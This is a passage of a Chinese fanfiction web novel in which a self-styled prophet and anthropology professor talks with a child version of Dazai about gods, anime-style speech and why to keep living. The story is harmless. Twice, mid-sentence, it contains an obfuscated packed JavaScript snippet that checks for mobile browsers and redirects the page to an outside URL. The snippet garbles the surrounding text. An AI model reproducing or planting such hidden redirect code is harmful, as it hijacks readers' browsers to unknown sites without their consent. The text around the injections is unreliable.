“我听他说,异能和异能者的选择有关。”石坂洋次郎的声音很轻,“我就在想,我的异能到底对我而言意味着什么呢?” 让霸凌者感受到受霸凌者的痛苦?让痛苦的人们重新感受到幸福?去做一个外交家,还是用这个能力去让人类去主动帮助更多的同类? 「你应该已经找到答案了吧。」 “我——之前去问了费奥多尔先生。” 男孩的目光躲闪了一瞬。 他说:“我已经决定了,想要加入日本的官方异能组织。江户川警官说,费奥多尔先生在这方面总会有办法的。” 夏章雾不知道该说什么。他也不知道该表达些什么,于是只默默地点头。 “事情也很顺利的!只要通过面试我就可以去工作了!” 石坂洋次郎再次抬高了声音,像是想要掩盖自己声音里的颤抖,但并不是非常成功:“应该再过不久我就要离开青森……不过我打算以后申请留在这里。既然新子她还在这儿,这里就是我的家。总之,我就是来告诉您这个好消息的!” 他深深地朝夏章雾鞠了个躬。 “谢谢您这些天的照顾。”他说,“既然这件事已经告诉了您,那我就先走了。” 夏章雾拍了拍他的肩膀,然后给他看手机。 「你先等一会儿。」 然后这位人类学教授稍微回想了几秒,快速地操作着手机上面的软件。等到一切结束后,他朝面前的孩子愉快地笑了笑,晃了晃手机。 屏幕上面的文字清清楚楚: 「看看邮箱?有礼物。」 石坂洋次郎有些茫然地拿起自己的手机——这是两天前聚餐结束后,夏章雾主动带着他去买的,买时还在嘟哝着“学校报销”——打开邮箱。 上面多出了一条新的未读信息。 里面全是日本人名,有男有女,有全称也有别称和姓氏。 中岛敦泉镜花中原中也尾崎红叶与谢野晶子宫泽贤治福地大仓烨子春野绮罗子芥川龙之介芥川银立原国木田谷崎伊万虫太郎田口六藏绫辻京极涩泽樋口一叶辻村深月条野…… 石坂洋次郎有些茫然地抬起眼眸。 夏章雾此时的表情笑眯眯的,手机上面的内容不知道什么时候已经被换成了新的: 「如果想要做好人好事,就从里面的未成年人找起吧?相信我,这可是先知的预言:) PS:那位与谢野晶子小姐,如果可以的话,别让她被森先生给捡走了哦?剩下来的事情本先知也不知道了,加油!」 “……” “……我怎么感觉你是在丢锅?” 目送着被忽悠得分不清东南西北的未成年人走出店门,画外音语气古怪地说。 “瞎说什么实话。” 夏章雾扒拉着碗里的饭,说话的语气相当理直气壮:“比起我这个儿童心理学挂科的家伙,这个拥有能够给人带来幸福的才能的小家伙才真正适合去做这种事情。相信读者们也会很喜欢这种安排的。” “那关于斯芬克斯的事情呢?” 画外音没找到反驳的话,于是干脆就换了一个话题:“你别告诉我,你会把全部的希望放在费奥多尔身上。” “这个啊,当然不会。这只是我打算同步进行的备选方案之一罢了。” 夏章雾快速地扒拉着味增拌饭,口齿不清地说着:“总体而言,必须正确地解答斯芬克斯之谜才能将斯芬克斯杀死,但我们面对的这个问题的特殊之处在于,它的评价标准并不客观,寻求的是太宰治想要的答案。也就是说,这个问题该如何回答,只有太宰治有发言权。” “所以?” “所以,我去打感情牌不就行了?” 终于吃完饭,夏某人放下筷子,露出灿烂的笑容,这次他看上去是真的胜券在握了。 “也没人说不能去贿赂考官,对吧?” 他说。 25.太好了,是二次元! 作为一个理智的未成年人类,太宰治一直以来都坚信着一个原则。 那就是:天上绝对不会掉馅饼。 当然,通过这个最根本的逻辑,你能够衍生出大量的推论。其中当然也包括了一个:天上也不会掉下人类。 但太宰治今天就看到了掉下来的人类。 当时太宰治正在房间里看最新的电视新闻。 上面正在播报:希望市民小心最近出现的黑色不明生物,不要和它进行任何交流。此事件与青森前几日频发的意外事物存在关联,以及近期请不要随意出门…… 正当他一边看一边打哈欠时,后院里突然传来了非常可疑的声音。 太宰治关上电视,有些好奇地走到窗户边。 他看到了一个人莫名其妙地翻上了他们家的围墙。他看到这个人先是左看看右看看,然后拿出了怀里的本子,打开翻阅几秒后,不知为何地露出了仿佛被什么言论呛死的表情,整个人身子一歪,就这么…… 从天而降。 ——掉到了太宰治的面前。 两个人的视线在窗户处互相交汇。其中属于成年人的视线多少带点尴尬,而属于未成年人的目光就是纯粹的感兴趣与好奇了。 太宰治眨了眨眼睛,很果断地扒拉着窗户,直接翻到了后院里。 “喂,还没有死掉吧,大叔?”他问道。 “大叔什么的,也太过分了吧……” 虚弱无力的声音传来,像是比起这一摔,这种叔叔级的辈分更能让他感受到打击一样。倒在地上的这个男人翻了个身,用死鱼般的目光幽怨地盯着太宰治。 “我可是三十一岁的生日都还没有过,正是男性的壮年期哦?”他强调道,“不管怎么看都还没有到使用这个称呼的年纪!” “可是我的年纪还不到你的二分之一耶。” 太宰治理所当然地回答:“所以就算是喊你大叔也没有问题。” 他抱着自己的膝盖蹲下,看着面前这个在哪里跌倒就在哪里躺下的男人,感觉他不太符合自己对“翻墙潜入房屋”的人类群体的想象。 并没有那种违法犯罪分子的紧张、神经质与偏执的感觉,反而浑身上下都透着一种满不在乎的轻松气息,甚至还有闲心和小孩子争辩自己有关年龄的问题。 就像他才是房子的主人一样。 “所以你是在私闯民宅吗?” 太宰治第一次见到这样的家伙,他戳了戳对方,突然认真说道:“我可以告诉你,我父亲的私房钱到底都藏在哪里的。” 对方缓缓地翻了个身,从趴着变成了躺着。 太宰治这才看到了对方的脸:那是一张相当标准的混血儿面孔,海藻一样的深棕色卷发在发尾末端变成黑色,眼睛则是在阳光下呈现出暖洋洋的金棕。 五官似乎本该很有攻击性,但那个男人此刻却用它们摆出了一副相当古怪的神情,然后嘟哝了一句太宰治此刻还完全听不懂的中文。 “哇哦——还真是哄堂大孝啊。”他说。 太宰治理所当然地露出了不解的表情。 “咳咳咳。我的意思是,我才不是来私闯民宅或者过来入室抢劫的杂鱼反派。” 男人缓缓地挪动了几下身子,然后以鲤鱼打挺、或者咸鱼翻身的姿势站了起来。他居高临下地望着太宰治,最后用一只手插住腰,用得意的杂鱼反派声音说道: “在下来这里,可是为了诱拐儿童的!” 说完,他还打量了太宰治一眼,就像生怕看到太宰治被吓到似的。 实际上完全没被吓到的太宰治:“……” 他感觉这种说法的方式有点熟悉。怎么说呢,就是很二次元。 “拐卖儿童啊,那就没办法了。” 太宰治虚起眼睛,举起口袋里的手机,面无表情地说道:“我要报警了,拐卖犯先生——” 然而对方不仅没有害怕,反而眯起眼睛,发出了十分浮夸的笑声。 “哦呵呵呵呵,你以为我为什么要和警察搭上关系!当然为的就是今天!警察现在已经和我是一伙人了!乖乖投降吧,太宰!我刚刚也观察到了,你母亲半分钟之前出了门。今天就是叫破喉咙也没有人来救你的!” “……” 太宰治的眼睛已经快要变成死鱼眼了。 二次元的既视感,似乎更浓烈了啊。 “哦,拐卖犯先生。” 他放弃了说服对方,干脆和对方一样躺在后院里,用那种包容精神病患者的语气说道:“所以你是打算把我带到哪里去?” 男人再次拿出了那本笔记本。 “嘶,没人说这个要怎么回答……” 他看着上面的内容,使劲抓了抓乱糟糟的头发,随后用相当诚恳的语气说道:“不如我就把你从你家后院拐卖到你的房间?这样大家都轻松一点,我还有些事情想要问你呢。” 从后院拐到房间? 问题是,他就是从房间跑到后院来的! 这下太宰治都有点绷不住了。他双手支撑着坐起来,用恨铁不成钢的表情瞪了对方一眼,决定好好地教会这个家伙怎么正确地绑架儿童。 “弘前公园。”他说,“我要去弘前公园。” 男人露出愚蠢的迷茫表情。 “弘前公园在哪?” 他说:“这是我第一次来青森。而且你们这里的地图真的很难看懂。我怀疑这是政府为了让外地游客打车或者花钱请导游,从而刺激当地的消费所做出的措施……” “总之,带我去玩。” 太宰治面无表情地说:“否则我可能会突然失忆,然后根本不知道要怎么回答你的问题哦,这位大叔。” “可恶,你是怎么知道我的计划F就是把你给揍到失忆的——不对不对,这不重要。重要的是出租车很贵的,你知不知道!” 男人的表情顿时警觉起来:“而且我都没有想过这趟还要花额外的钱!更何况,现在不已经全城封锁了吗,哪里来的导游和出租……” “你要是坐出租车。” 太宰治说:“花的钱就用我爸的私房钱付。” 空气一瞬间安静了下来。 “好吧,这下真是开怀大孝了。” 过了良久后,这位拐卖犯才幽幽地如是说。 …… “叮铃叮铃”。 自行车的车铃发出轻快的响声。 太宰治靠在男人的身后,无聊地打量着周围熟悉的风景,缓慢地打了个哈欠:“左拐——” 于是自行车一转车头,向左边行驶去。 他们最后还是没有找到出租车,于是临时借用了邻居的自行车。太宰治父亲的私房钱总算是在千难万险当中被保留了下来,真是可喜可贺。 因为最近宣布了全城的戒严封锁,街上显得很空旷,让人感觉只有街道两侧盛开的樱花树还是活着的。 太宰治抬着头,一直在看不断从身侧掠过的那些粉白色的樱花。 “话说回来,我好像都没有问你名字。” 他说。 “我的名字吗?真名没有知道的必要,叫我勒托就行。目前的职业是一名人类学教授兼任救世主兼任先知。” 前方传来男人懒洋洋的声音。 他听上去都要在温暖的风里睡着了,让目前的情景显得十分危险,但太宰治并没有什么担心的意思。 他只是歪了歪头: “先知?是预言家还是神明的代言人?” “都算吧。” 男人打了个哈欠,相当明显地做出了耸肩的动作:“反正对我来说都是一回事。” “诶——” 太宰治晃动了两下小腿,拖长声音,发出似乎有点不太愿意相信的孩子气质疑。 “世界上真的有神吗?”他问。 “有的,孩子。包有的。” 男人很随意地说着:“不管你对神的定义到底是什么样的,我都能给你找到适合的对象。” 全知全能的造物主?作者完全可以担任。 既定命运的观测者?那读者也不是不行。 无法理解的高维生物?对于他们而言,三次元人类个个都是。 强大而无可理喻的怪物?文学负面体似乎也可担当此任。 ——这么一想,这还真是一个“神明”密布的世界。 夏章雾双脚踩着自行车踏板,很是悠悠闲闲地想到。 考虑到这次后座上是一个可能患有自杀癖好的未成年人类幼崽,这次他没有开得像鬼火那样快,而是不紧不慢地开着,安心地享受着春日扑面而来的柔和暖风。 当然,自行车本身的硬件不足也是个非常重要的原因。 那个身后的孩子还在有一搭没一搭地和他聊着天,似乎对他这个突然从天而降的家伙以及身后的秘密感到非常好奇似的。 “所以说啊。”太宰治从他的背后探出脑袋,“神明到底是什么样子的呢,先知先生?” “神按照自己的形象造了人。” 夏章雾的回答毫不犹豫:“所以说把那群家伙当成人类看就行了。要我说,某位造物主的性格大概比许多人类还要恶劣很多,属于每天都在偷懒的、犯了怠惰之罪的家伙……” “可恶!你怎么好意思说这话,明明作者也干了超多事情,每天都要花超多时间码字的!” 画外音在旁边发出超级大声的聒噪声音用以反对:“而且偷懒怎么你了!但凡是个人类就不可能没有偷懒的时候!” “可是身为创造世界的神明却每天都在抱怨自己的工作量,未免也太懈怠了!既然是干这一行的,就给我好好地拿出精气神来!你这样对得起大家吗?” “喂喂,谁都有资格这么说,就你不行!你这个整天都摆出懒洋洋的姿态、看上去就算是骑着自行车也能昏睡过去的笨蛋咸鱼!” “是吗?托你的福,现在我完全不困了——” 夏章雾反击的话还没有说完,太宰治就将其打断了。他抬头望向面前的大人,用手掌拽了拽对方的风衣外套。 “和你说话的就是神明?” 他问。 夏章雾顿时偃旗息鼓。 “算是吧。我就是被它选中的倒霉鬼。” 他叹了口气,忧愁地望着天空,呈现某种相当浮夸的忧郁:“除了我以外,没有人能够听到它的唠叨。这大概就是天选者注定的命运吧。从某种意义上说,真是非常孤独……” “真不要脸。” 画外音并不买账地说。 就连太宰治都很不买账地叹了口气。 “明明之前还说自己是人类学家兼先知,结果现在又变成了天选者。” 他松开抓着风衣的手,无奈地叹了口气:“而且之前就想问了,这种充满二次元风格的台词是什么情况啊?” 没有回答。 只有沉默。 可疑的沉默在两人间弥漫开。 “等等?这难道不是正确的日语说话方式?” 好几秒之后,因为过于震惊而显得有些颤抖的声音传来:“我可是为了学会这个,昨晚特地观摩了好几个小时二次元动漫的!” 开什么玩笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200555|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那他昨晚针对动漫台词做出的大量练习到底算是什么?算小丑吗? “只有二次元和中二病才会这样说话吧。” 太宰治拖着脸颊,用非常怜悯的眼神看着夏章雾:“而且这句话怎么看都是为了整夜看二次元动漫而找出的借口呢,大——叔——” 大、大叔?又来? 夏章雾的眼角控制不住地跳了跳。 只有二次元人物才会说这种台词的事情他当然知道。但问题在于,这就是二次元世界啊,你还是里面的主角团成员呢! 作为热血二次元少年漫的同人小说,为什么这里的对话反而这么正常! “不那么二次元还真是抱歉。毕竟最近没有怎么看轻小说,我也没有办法完美地驾驭那种日式中二的风格。” 作为罪魁祸首的画外音此刻还在悠悠闲闲地说着风凉话:“而且记忆里原作漫画也没有这么中二病的发言。怎么想都是你用力过猛了。” “你这家伙给我闭嘴。” 夏章雾嘴角扯了扯:“当时你怎么没想起来要提醒我……” 他昨晚可是为了这个熬到凌晨三点的。人生中美好的睡眠时间,结果就这么一去不复返…… “因为我想看热闹呀。” 画外音毫不掩饰地回答:“嘿嘿,真好玩。” 夏章雾:“?” 可恶,救世主的工作他不干了!谁想毁灭世界就去毁灭吧,他绝对只会在旁边给它鼓掌的!在这种家伙的恶趣味下诞生世界根本就没有任何守护的价值—— “刺啦!” 自行车猛地调转车头,同时快速地刹了车。 夏章雾停下车,扭头问道:“没事吧?” “目前没事。” 太宰治闷闷的声音传来——刚刚他在突然的刹车中鼻子结结实实地撞到了夏章雾的后背——然后探出半个脑袋,幽幽地盯着罪魁祸首。 那是一只正在匆匆忙忙地从街道上跑走的大黄狗。 “所以说,我最讨厌狗了。”他说。 “是啊,完全喜欢不过来。” 夏章雾一只脚踩在地面上,望着那只狗飞快消失的方向,发出认同的附和:“自从被勃朗蒂她们家的狗追了两三个街道后,我感觉这辈子都不会对狗产生任何好感。” 太宰治有些惊讶地看了他一眼。 “咦,竟然不是同类相斥之类的理由吗?” 他问。 “完全不是!而且我哪里像狗……话又说回来,你为什么会讨厌狗?按照我的理解,人类的厌恶要么来自真的讨厌,要么来自嫉妒。” 夏章雾摸了摸下巴:“所以你该不会……” 太宰治不语,只是幽幽地看他。 “我要决定讨厌你了,大叔。”他说。 “嗯哼,这是在嫉妒我敏锐的观察能力,对吧?肯定是的吧!” 某个恶劣的成年人挑了下眉,瞬间变得得意洋洋起来,随后侧过身子,用力捏了捏太宰治气鼓鼓的脸。 “离那个公园还有多远?”他问。 太宰治往旁边看了眼。 “不知道哦。”他说,“我又不认识这里。你应该走错路了。” “嗯,就在你和我吵架的时候走错的。” 画外音突然插嘴道。 “……” 夏章雾陷入沉默,夏章雾看向后视镜里一脸无辜的小朋友。 “你不是说会指路吗?” 他问。 “你不是先知吗?” 太宰治想了想,随后一本正经地回答。 “喂喂喂。”夏章雾表示抗议,“先知又不是预言这个的!我预言到的东西都是一些超级大的灾难,能够毁灭人类的那种!” “哦。” 小朋友顿时索然无味起来,他用鄙视的目光看着夏章雾:“好逊的先知。” 夏章雾缓缓打出一个问号。 什么嘛,什么很逊的先知?你这未成年幼崽也未免太不礼貌了吧! 他决定给这小崽子一点先知震撼,于是当机立断地拿出笔记本,快速地翻阅起来。 读者们已经相当热情地提供了很多种从太宰治口中骗出答案或者得到太宰治想要的答案的可能性。 很有用,接下来他也要用到。但他现在要找的不是这些内容,而是…… 「七: 找幼宰,当然是直球攻击啊,直球攻击永远的神!」 很好,就是这个! 夏章雾的眼睛一亮,志得意满地微微一笑。 “太宰。”他说,“需要我为你朗诵一下大家对你的热切关怀吗?啊,倒也不是别的。我就是突然间很想和你分享一下,在先知的预言里,你可是被神明喜爱的好孩子呢。比如……” 他翻到了前面几页。 「好心的斯巴拉西希望饭团: 夸夸机器,我们需要夸夸机器!什么你一定会上天堂的,你是个好孩子,你最棒了,天呐,怎么会有这么聪明伶俐的孩子,这样的话快对他说!我们需要更多的夸夸机器!」 夏章雾咳嗽一声。 总感觉这些台词说出口有点尴尬,但没有关系,只要尴尬的不是我,那就是别人。 “太宰你真是一个好孩子,你最棒了!” 抱着这样的想法,夏章雾当机立断地大声朗诵起来:“你一定会上天堂的……呃,这真的不是骂人吗?不过这不重要,重要的是天啊,怎么会有你这么聪明的孩子……” 太宰治抖了一下身子。 “噫。”他的眼神仿佛也死了,“好恶心。” 26.人,二笔而已 最后去弘前公园的计划还是破灭了。 因为根本找不到路,所以两个人退而求其次的其次的其次的其次,在街上随便找了一个废弃的公园,在其中漫无目的地游荡。 “所以明明是很正经地来问未成年人问题的,结局为什么会变成这样。” 夏章雾虚弱地看着天空,语气相当幽怨:“我现在真的很想回旅馆补觉。毕竟昨晚真的看二次元动漫看到了很晚……” “哎呀哎呀,刚刚不小心失忆了呢。” 太宰治背着手在前面一蹦一跳地走着,在旁边发出毫无诚意的残酷声音:“现在必须要好好玩一回,才能想起来该怎么回答问题。” “所以说,这种已经废弃的公园到底有什么好玩的地方啊!” “那好吧,我摊牌了:其实是因为大叔刚刚的发言太恶心,让我记仇了。所以不管怎样都不能让大叔悠然自得地回去睡觉。” “?” 夏章雾想要打这小子的屁股,但因担心被小孩的哭闹声折磨而遗憾放弃。 真是麻烦的未成年…… 他叹了口气,默默地想,看向前方。 黄绿斑驳的人工草地显得有些萧索。走过的很多设施都已经生满了锈迹。不知道从哪里来的爬山虎倒是肥沃得可怕,一团团乱七八糟地围绕着建筑物生长着,呈现出可怕的绿色。 深处有鸟雀在叫,但分辨不清楚方向。 在这种非常适合灵异题材的场景中,太宰治看上去依旧非常地快活。他在前面蹦蹦跳跳地走着,口中还断断续续地哼着走调的歌。 “我发现了,你说话时有一种独特的魅力。” 作者突然说。它似乎一直在饶有兴致地打量着面前的这一幕。 “什么魅力?”夏章雾随口问道。 “你能够说出一些非常弱智的话题,同时还表现出除了这些弱智话题就没法交流的样子。” 作者的语气一本正经:“然后让他们不得不一起加入这个弱智话题,从而使得整个对话流程非常弱智,让他们在不经意间就被你牵着走,被你用丰富的经验打败。” 夏章雾:“……” “这是什么新的骂人方式吗?”他说。 “错,是正儿八经的夸奖。” 作者说:“而且你自己可能都没意识到,其实你是很擅长和小孩子打交道的那种人。” 很擅长和小孩子打交道,真的假的? 夏章雾想到那个被自己哄得哭得越来越大声的女孩,下意识地扯动嘴角。 “有、有吗?” 在这方面他还是挺有自知之明的。 然而作者的论据看上去似乎很充足的样子。 “可不是所有人都能这么快就和太宰治建立起这种相对‘融洽’的关系。” 它振振有词:“而且坂口安吾一开始态度那么警惕,不也很快就对你放下心来了吗?当然,这和你当时的表现实在太过丢脸也有关系。人总是很难防备搞笑角色的,嗯,这可是你的优势,要记得好好发挥。” 夏章雾眼皮跳了跳。 且不说“太过丢脸”和“搞笑角色”的事情,他和太宰治的关系真的算融洽吗?这小子刚刚可还是相当直接地表示了想要折磨他的意愿欸! 夏章雾正想要说些什么,结果发现作者似乎已经失去了理会他的意思,转而学着太宰治,自顾自地哼起了歌。 具体的内容夏章雾没有听清,虚空处传来的歌声太过模糊,而且被太宰治正在哼的旋律盖住了。不过有一点可以明确:坐着此刻的心情并不算糟糕。 就在这时,太宰治突然停下了脚步。 夏章雾不明所以地跟着停下,然后跟着太宰治的目光往上看去。 一个巨大的、美丽而衰朽的事物伫立在不远处的空地上。 太宰治很轻的声音传来: “啊,是摩天轮。” 夏章雾“嗯”了一声。 “竟然还有摩天轮。”他说。 摩天轮这种大型游乐设施可不是每个地方都能建得起的。从合理的角度来说,怎么看都不该出现在这种小公园里。 但它确实出现在了这儿。锈迹斑斑,油漆已经开始褪色,看上去并不再有把人带上高空的功能,只留下一种气味,若有若无地混合在周围春日草木和泥土的腥味中。 夏章雾后退了一步。 他注视着面前的东西。有那么一瞬间,他感觉自己看到了这个摩天轮曾经的样子:骨架蓝得几乎透明,闪烁着的灯光点缀在它的舱室间,照亮了此刻正栖落在上面的鸟。 那似乎距离现在已经是一段很久的时间了。或者说,置身于这样远离人世的环境中,你看什么东西都会感觉那是属于几个世纪前的遗物。 这座公园总是让人联想起人类灭绝后的第九个千年:植物在无忧无虑地蔓延,并不是很想管这些难以变成养料的古怪坚硬物品。铁锈则是悄无声息地准备把人类最后的痕迹移除。 而人类,只有夏章雾和太宰治两个。感觉就像是世界上仅有的两个人。 “看上去简直像人类死光后留下来的。” 太宰治说。 这个孩子仰头注视着天空,几乎是全神贯注地看着面前已经死去的庞然大物。落在摩天轮上的鸟对这种长久的凝视感到了微妙的紧张,于是拍着翅膀飞远了。 夏章雾突然明白了摩天轮身上传来的味道是到底是什么。 那是死亡与腐朽的味道。它的质感并不让人感到湿冷和粘稠,正相反,它在这里显得光滑、坚硬且平静。 就像水底的石头。 太宰治看着它,眼睛里清晰地倒映出那个庞大机械构造的影子,那个锈迹斑斑的、在不知道多少年前死去的湛蓝色。 然后他缓缓地、缓缓地朝摩天轮伸出手—— 就像想要触碰到什么一样。 如果站在这里的是道格拉斯,夏章雾大概会觉得对方大概是在向某架宇宙飞船招手,下一秒就会被外星人带去天晓得是什么的地方。因为道格拉斯这家伙实在不像是属于这颗星球。 但面前的是太宰治。 夏章雾并没有觉得他会被宇宙飞船带去进行一场说走就走的旅行,只是觉得这个孩子正站在已经将他完全淹没的深水中。 那只伸出去的手想要触碰的也似乎并非是宇宙飞船,而是透明的水面,那个空气与水交界处的地方。 那里波光粼粼,闪烁着阳光。 夏教授微微地叹了口气。 然后他伸出手。 ——用力地捏住了太宰治两侧有着明显婴儿肥的脸颊,往两边使劲儿一扯。 “呜呃呃!好过分!竟然偷袭未成年啊大叔!” 太宰治吃痛的声音传来。他的脸都被某个不知轻重的大人揪红了,眼角泛出生理性的泪水,气鼓鼓地望着大人。 像一只小河豚。 夏章雾的目光漂移了一下,思考了几秒这只河豚能不能用来擦鞋子,最后遗憾地得出了“似乎不能”的结论。 “喂,栗子色河豚……”他说。 “才不是河豚啦!” 太宰治的脸变得更鼓了:“刚见面就随随便便地给别人取外号,大叔这也太过分了!” “回头给你买糖。” “小孩子才不是这样安慰的,大叔!” “那是怎么安慰的?” “啊啦啊啦。最有诚意的做法当然就是土下座道歉,顺便承认自己就是一个强闯民居、盗窃财物、拐卖儿童、还猥亵未成年的……” “所以还是给你买糖吧。” “呜呃,好过分!至少也得是蟹肉罐头才对!” “真没出息,螃蟹最好吃的明明是蟹黄吧。” “没有出息的明明是大叔你,小心我诅咒你这辈子都享受不到蟹肉的乐趣!” “享受不到就享受不到,不要以为我真的很稀罕蟹肉这种东西啊,栗子河豚!” 于是围绕着“螃蟹到底哪里最好吃”的话题,先知先生与栗子河豚狠狠地吵了一架,期间两者展现出的心理年龄加起来都没有到两位数。 最后,结局以夏章雾的失败而告终。因为太宰治表示如果他不认输的话就哭给他看,并以此成功打出了暴击伤害。 “真是卑鄙的未成年河豚幼崽……” 夏章雾躺倒在人工草坪上,幽幽地说。 “大叔也是!强闯民居、盗窃财物、拐卖儿童、猥……唔唔唔!” 太宰治剩下的话被夏章雾的大手强行物理阻止了,没能说出来。于是周围的环境空前安静了那么几秒,直到被夏章雾主动打破。 “真的会想死吗,河豚?” 他问。 “都说了不是河豚啦——” 太宰治同样躺在草坪上,侧过脑袋,口中嘟嘟囔囔的:“倒也不是非常想死。只是并不觉得活着多有意思而已。说到底,活着到底能够得到什么东西呢?” 风在吹着。作者还在轻轻地哼歌。它似乎没有关注这里的情况,或者说它就在这里,但并没有加入这场对话的意图。 模糊不清的歌声,现在是哼了第几遍? 夏章雾不知何时翻出了笔记本。他看着上面的内容,露出沉思的表情,时不时翻动几页。 “所以是觉得活着没法得到想要的东西,而不是没有想要的东西啊。”他说。 “嗯?”太宰治歪了下头。 他想要去看笔记本上面的内容,但他看过去的时候才发现上面其实是一片空白,里面什么东西都没有。 但是从夏章雾的表情来看,上面确实是有内容的。 他伸手想要碰笔记本,但夏章雾眼疾手快地把笔记本拿高了,继续淡定地仰头看了起来。 有很多读者连他接下来要和太宰治念什么台词都想好了。还有很多读者在踊跃地发表着自己对太宰治的看法,还有读者在…… 「33182772: 虽然我自认很有良心的没有和大家一起调侃小夏,但这章也太好笑了吧哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈,小夏先生看见了记得回我个wink~喔。 表面上是那种懒洋洋的恶劣大人啦,其实超温柔的,对小孩,对一些沉重而哀忸的命运之中的人,其实有着云朵一样轻盈又连绵的胸怀呢。正面对峙人间失格的时候也很帅气,不愧是兢兢业业拯救世界的搞笑男一枚呀~」 夏章雾:“……” 他默默地抖掉了身上的鸡皮疙瘩,并且突然理解了当时太宰治听到自己夸赞时露出的微妙不适表情。 太、太肉麻了吧!而且还要求人摆出“wink”这样的姿势! 然后太宰治就看到了身边的大人以苦大仇深的表情,朝笔记本眨了下右眼。 “这是在卖萌吗?”他歪了下头,“对于三十多岁的大叔来说,未免也太可怕了吧?” “我这是在被迫营业,你知道什么叫做被迫营业吗!被迫的!” 夏章雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大人把未成年人类幼崽推开,他看向湛蓝的天空,声音依旧懒洋洋的:“而且是让我都很好奇的未来,否则我怎么可能会邀请你加入我们拯救世界的活动。” 太宰治眨巴两下眼睛。 “很好奇?”他问。 夏章雾“哈”了一声。 他说:“在我所知道的预言里,你未来可是说出‘而真正运转着这个世界的,是在名为偶然的风暴中呐喊、奔波、流血的人们。面对他们灵魂的强大,你我也只能默然而立’这种话的人。” 太宰治沉默了片刻。 “突然感觉,你的预言不怎么靠谱的样子。” 他回答道。 “虽然内容确实有些吓人,预言来源里面也确实有像爱丽丝那样的不靠谱成分,但来自深渊君目前来看还是相当靠谱的。” 夏章雾笑了下,抬头看天:“你未来的确说出了这样的话。所以我才很好奇,很想要知道你到底遇到了什么样的事情,做出了什么样的选择。” “不管是什么选择,都是好可怕的未来。” 太宰治死鱼眼:“完全想象不出来自己说这话的样子,还不如死掉了呢。而且总有种感觉……” 他叹了口气。 “喂,先知大叔。”太宰治说,“你真的确定,我可以回答你想要问我的那些问题吗?” “我确定你不知道那些问题的答案。” 成年人的声音从他的身边传来:“看到你伸手时就知道了。所以我现在完全放弃了,只想着什么时候才能回旅馆睡觉。” 问这家伙“你觉得什么是人”,你喜欢这个问题什么类型的答案是没有意义的。因为这个孩子就连自己都不知道想要的是什么回答,只会对别人给出的回答进行否定。 ——就像是读者们说的那样。 别问,问就是每个高智商青少年都会经历的迷茫期。 当初他自己是怎么度过这个阶段的来着……好像是老妈在回答了他几十个答案都被否认后恼羞成怒,把他吊在树上抽了一晚上的屁股?从那之后,他就再也不研究这种抽象哲学命题了。 夏章雾结束回忆,遗憾地看了眼太宰治。 可惜,不敢揍,怕他哭。 短暂的沉默。 太宰治翻了个身,把自己的脑袋靠在夏章雾的手臂上。 “呐,大叔。我猜你在想,我只是个稍微聪明一点的十一岁小孩子,没有什么见识,对生活也一无所知。现在就说生命当中没有什么意义,未免也太过自作聪明了。对吧?你就是这么想的。” 怀里太宰治的声音闷闷地传来。 “但就算过去了十年、几十年,难道生活就真的能告诉我想要寻找的答案吗?” 孩子的声音显得格外清澈,甚至连其中的情绪都是一片清澈的空白:“如果什么都找不到,那这十年和几十年的生活,到底有什么意义?它和死亡的区别又在什么地方呢?” 或许唯一的区别就在于:死亡只需要短短的一个瞬间,而活着需要为一个答案忍受许多、许多个年头。 “未来的我,究竟有没有找到答案呢?” 那是仿佛从深水中传出来的声音,像是下一秒就要被水流卷走。 “为什么要活着,生命到底具有着什么样的意义——先知,这个问题的回答,未来的我,真的就找到了吗?” 27.呱,真宏伟啊 “未来”。 自从夏章雾准备接受自己作为“先知”,作为唯一能从作者和读者的口中得知命运的人开始,他就知道自己总有一天,会被人们询问有关它的问题。 ——而对于这种提问,最明智的方法是不做出任何回答。夏章雾不应该打开书去看读者此时必定会给出的“解答”,也不应该去询问必然知道这个答案的作者。 他需要保持沉默。先知应该保持沉默。 但是。 但是…… “但我当时怎么就胡言乱语起来了呢?” 夏章雾捂着自己的脸,一脸痛苦地对画外音发出抱怨:“我怎么当时就没有狠狠地卖关子,然后用‘嘻嘻’来回答这个问题?” 已经三天了。 距离太宰治向他提问的那一天,已经过去了整整七十多个小时。 夏章雾已经这么纠结三天了。 “总不至于是因为当时他表情太严肃了吧?” 这位救世主正颓废地嘟哝着:“让人感觉必须得给出一个正经答案什么的。” 如果说有什么值得安慰的地方,大概就在于有的读者的想法和他一样了。 “嘿嘿,骗小孩子,真坏啊。” 画外音在他身边嘻嘻地笑着。 “才不算骗。” 闷闷的声音传来:“反正是未来的事,只要我在未来真的做到就行了。至于怎么做——” 夏章雾突然抬起头,他颓丧的表情突然变得满是坚定:“伟大的画外音和旁白啊,告诉我到底如何才能实现我做出的预言吧!我已经下定了决心!就算是让柯南·道尔再多欠我五十镑都在所不惜!” “……” 画外音的笑声突然消失了。 “你。”它用不可置信的语气说,“这三天就想了这么点东西?看你这三天满脸纠结的样子,我还以为你是在拯救世界和拯救一个人之间做着剧烈的心理挣扎呢!” 夏章雾毫不尴尬地咳嗽一声。 “不要为我擅自脑补那么多心理活动。” 他说:“而且像是拯救世界还是拯救一个人之类的问题,可比‘应不应该让柯南·道尔多欠我五十镑’容易考虑多了。” “咦?真的吗?那我得找个机会问问你这样的问题。” 画外音“哦呀”了一下,随后笑嘻嘻地拖长了声音:“总之呢,你想要的答案很简单——” 